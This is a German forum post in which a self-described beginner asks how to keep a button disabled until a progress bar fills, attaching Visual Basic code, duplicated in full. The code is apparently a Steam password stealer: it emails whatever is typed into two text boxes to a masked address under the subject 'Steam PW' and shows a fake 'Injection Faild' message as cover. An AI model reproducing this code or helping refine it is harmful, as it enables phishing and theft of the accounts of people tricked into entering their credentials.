DDW111
23.05.2010, 17:55
Ich bin noch relativ UNERFAHREN in Visual Basic und habe deswegen eine Frage:
Wie erstelle ich einen Button der Disabled ist aber er nachdem die Progressbar voll ist wieder enabled wird
Imports System.Net.Mail
Imports System.Net
Public Class Form1
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
MsgBox("Injection Faild")
Me.Close()
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
Dim text As String
text = TextBox1.Text & TextBox2.Text + vbLf
Dim myClient As New Net.Mail.SmtpClient("*****")
myClient.Credentials = New NetworkCredential("*****", "*****")
myClient.Send("****", "****, ****", "Steam PW", text)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
If ProgressBar1.Value = ProgressBar1.Maximum Then
End If
End Sub
End Class
Danke im voraus und
MfG
DDW
Wie erstelle ich einen Button der Disabled ist aber er nachdem die Progressbar voll ist wieder enabled wird
Imports System.Net.Mail
Imports System.Net
Public Class Form1
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
MsgBox("Injection Faild")
Me.Close()
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
Dim text As String
text = TextBox1.Text & TextBox2.Text + vbLf
Dim myClient As New Net.Mail.SmtpClient("*****")
myClient.Credentials = New NetworkCredential("*****", "*****")
myClient.Send("****", "****, ****", "Steam PW", text)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
If ProgressBar1.Value = ProgressBar1.Maximum Then
End If
End Sub
End Class
Danke im voraus und
MfG
DDW